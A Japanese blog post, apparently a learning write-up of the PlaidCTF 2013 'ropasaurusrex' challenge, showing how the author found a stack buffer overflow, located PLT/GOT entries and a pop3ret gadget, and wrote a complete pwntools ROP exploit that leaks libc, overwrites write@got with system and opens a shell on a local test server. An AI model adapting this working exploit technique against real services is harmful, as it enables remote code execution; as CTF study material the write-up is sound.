PlaidCTF 2013: ropasaurusrex - 200 *Level1*
動機
先週末はgoogleCTF参加したんですが、EasyのInstProfではバイナリの解析してからが進めませんでした。
writeupを見たら限られた4バイトでROP組んでて、そういえばROPに苦手意識があったのを思い出した。
そこでkatagaitai勉強会の資料を一部参考にしながら、ropの問題を解いてみた。 なお、katagaitai資料にはLevel5まであり、まだLevel1しかとけていないのだが、これも順次解いてwriteupを上げていきたい。
毎度ながらkatagaitaiの資料にはたくさん学ぶことがある….
ropasaurusrex
問題のバイナリはここら辺から。
http://shell-storm.org/repo/CTF/PlaidCTF-2013/Pwnable/ropasaurusrex-200/
いかにもROP使いますって問題なので、まずは事前調査してみる。
$ file ropasaurusrex ropasaurusrex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped $ checksec ropasaurusrex [*] '/home/ubuntu/writeup/bata/easy/ropasaurusrex/ropasaurusrex' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
ELF 32bitでstrippedなバイナリ。セキュリティ機構はNXのみ。
実行してみる
まずは実行してみる。
$ ./ropasaurusrex AAAA WIN
標準入力からの入力を待ち受けていて、何か入力すると"WIN"って帰ってくる。Canaryもないし、BOFかなぁ〜と思ってidaで解析してみると、mainで呼ばれている関数(ここではgetInput
と呼ぶことにする)にBOFの脆弱性があることがわかる。
みると、バッファのサイズは88byteなのに256byte分だけreadしている。そこで、EIPが取れるか確認してみる。
$ gdb ./ropasaurusrex -q $ r Starting program: /home/ubuntu/writeup/bata/easy/ropasaurusrex/ropasaurusrex AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b Program received signal SIGSEGV, Segmentation fault. [-------------------------------registers--------------------------------] EAX: 0x100 EBX: 0xf7fb3000 --> 0x1abda8 ECX: 0xffffd070 ("AAA%AAsAABAA$AA"...) EDX: 0x100 ESI: 0x0 EDI: 0x0 EBP: 0x41514141 (b'AAQA') ESP: 0xffffd100 ("RAAnAASAAoAATAA"...) EIP: 0x41416d41 (b'AmAA') [----------------------------------code----------------------------------] Invalid $PC address: 0x41416d41 [---------------------------------stack----------------------------------] 00:0000| esp 0xffffd100 ("RAAnAASAAoAATAA"...) 01:0004| 0xffffd104 ("AASAAoAATAApAAU"...) 02:0008| 0xffffd108 ("AoAATAApAAUAAqA"...) 03:0012| 0xffffd10c ("TAApAAUAAqAAVAA"...) 04:0016| 0xffffd110 ("AAUAAqAAVAArAAW"...) 05:0020| 0xffffd114 ("AqAAVAArAAWAAsA"...) 06:0024| 0xffffd118 ("VAArAAWAAsAAXAA"...) 07:0028| 0xffffd11c ("AAWAAsAAXAAtAAY"...) [------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value Stopped reason: SIGSEGV 0x41416d41 in ?? () gdb-peda$ gdb-peda$ patto AmAA AmAA found at offset: 140 gdb-peda$
140byte以降でEIPを奪えることがわかった。
ROP
xinetd型の問題なので、system("/bin/sh")
を呼んでやればよい。しかし、今回はNXが有効なので、shellcodeを流し込むにしてもスタック内での実行が不可能である。こういう時はmmapまたはmprotectでRWX属性のメモリ領域を確保してやるなどする必要があるが、バイナリではどちらの関数も利用していないので、pltエントリにはなく、libcから呼んでやる必要がある。libcのアドレスわかってるならlibcから呼んだ方が早いので、libcからsystemを呼ぶことにする。そのためにはlibcのベースアドレスを知る必要がある。まず、pltエントリとgotエントリを調べてみる。
$ objdump -d -M intel ./ropasaurusrex | grep "@plt>:" -A 1 080482fc <__gmon_start__@plt>: 80482fc: ff 25 10 96 04 08 jmp DWORD PTR ds:0x8049610 -- 0804830c <write@plt>: 804830c: ff 25 14 96 04 08 jmp DWORD PTR ds:0x8049614 -- 0804831c <__libc_start_main@plt>: 804831c: ff 25 18 96 04 08 jmp DWORD PTR ds:0x8049618 -- 0804832c <read@plt>: 804832c: ff 25 1c 96 04 08 jmp DWORD PTR ds:0x804961c
readとwriteが使えるっぽい。GOT OverwriteでGOTの適当な関数を書き換えてやればよくて、あとは/bin/sh
なんだけど、これは資料を参考にさせてもらった。具体的には、書き込み可能なセクション(今回は.data
セクションにした)に文字列/bin/sh
をreadとかで書いてやって、関数の引数としてスタックに積む時は.data
セクションのアドレスを入れてやればよい。(なるほど〜〜〜〜)
攻撃の方針としては、
write(1(stdout), write@got, 4)
でlibcでwriteがどこにロードされているのか調べるread(0(stdin), .data, 8)
で.dataセクションに/bin/sh\x00
を書き込むread(0(stdout), write@got, 4)
でwriteのGOTをsystemのアドレスに書き換えてやる。
この時、それぞれスタックに引数が溜まっていくので、バイナリ中のpopxN ret
となるコード片を利用してスタックの引数を除去してやればよい(ROPっぽい…!)そのようなコード片はrp++とか使えば見つかる。今回はいずれも3つ引数が積まれている状態を想定しているので、pop3ret
的なのを探す。
$ rp-lin-x64 -f ./ropasaurusrex -r 4 | grep pop # 中略 0x080484b6: pop esi ; pop edi ; pop ebp ; ret ; (1 found)
使ってるlibcからsystemのアドレスを確認しておく。
$ ldd ./ropasaurusrex linux-gate.so.1 => (0xf7798000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75c4000) /lib/ld-linux.so.2 (0x565ff000) $ nm -D /lib/i386-linux-gnu/libc.so.6 | grep system 00040310 T __libc_system 0011b710 T svcerr_systemerr 00040310 W system
Exploit
上記の情報から、エクスプロイトを記述していく。
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context(arch = 'i386', os = 'linux') #context.log_level="debug" r = remote('localhost', 1025) # EXPLOIT CODE GOES HERE # for debug def bp(): input() ''' # Exploit plan - get libc address - call write(1, write@got, 4) -> get libc_write - call read(0, .data, 8) -> set '/bin/sh\x00' - call read(0, write@got, 4) -> overwrite write to system - call system('/bin/sh') # stack plan --------- write@plt --------- pop3ret --------- 1(stdout) --------- write@got --------- 4 --------- read@plt --------- pop3ret --------- 0(stdin) --------- .data --------- 8 --------- read@plt --------- pop3ret --------- 0(stdin) --------- write@plt --------- 4 --------- write@plt(system) --------- 0xdeadbeef --------- .data('/bin/sh') --------- ''' got_write = 0x08049614 plt_write = 0x0804830c plt_read = 0x0804832c offset_system = 0x00040310 offset_write = 0x000dd300 pop3ret = 0x080484b6 addr_data = 0x08049620 # build rop buf = 'A'*140 buf += p32(plt_write) buf += p32(pop3ret) buf += p32(1) + p32(got_write) + p32(4) buf += p32(plt_read) buf += p32(pop3ret) buf += p32(0) + p32(addr_data) + p32(8) buf += p32(plt_read) buf += p32(pop3ret) buf += p32(0) + p32(got_write) + p32(4) buf += p32(plt_write) buf += p32(0xdeadbeef) buf += p32(addr_data) r.send(buf) ret = u32(r.recv()) print('write@got: {}'.format(hex(ret))) print('libc_start: {}'.format(hex(ret - offset_write))) addr_system = ret - offset_write + offset_system print('system: {}'.format(hex(addr_system))) r.send('/bin/sh'+'\x00') buf = p32(addr_system) r.send(buf) r.interactive()
これでシェルが起動する。
$ socat tcp-listen:1025,reuseaddr,fork exec:./ropasaurusrex $ ./exploit.py [+] Opening connection to localhost on port 1025: Done write@got: 0xf76ad300 libc_start: 0xf75d0000 system: 0xf7610310 [*] Switching to interactive mode $ whoami ubuntu
感想
ROP、基本的な考えとしてはバイナリ中の実行権限のある既存のコード片(ROPガジェット)をうまく組み合わせてExploitを記述しよう!という考え方なので、まずは攻撃のプランを具体的に組み立てる能力が必要なのでは、と思った。 基礎的な知識や経験が手を動かさないうちに抜けて行ってしまうので(当然)これからもやっていくぞ!という気持ちです。
院試が終わって一息ついたらもっと時間とってやりたい。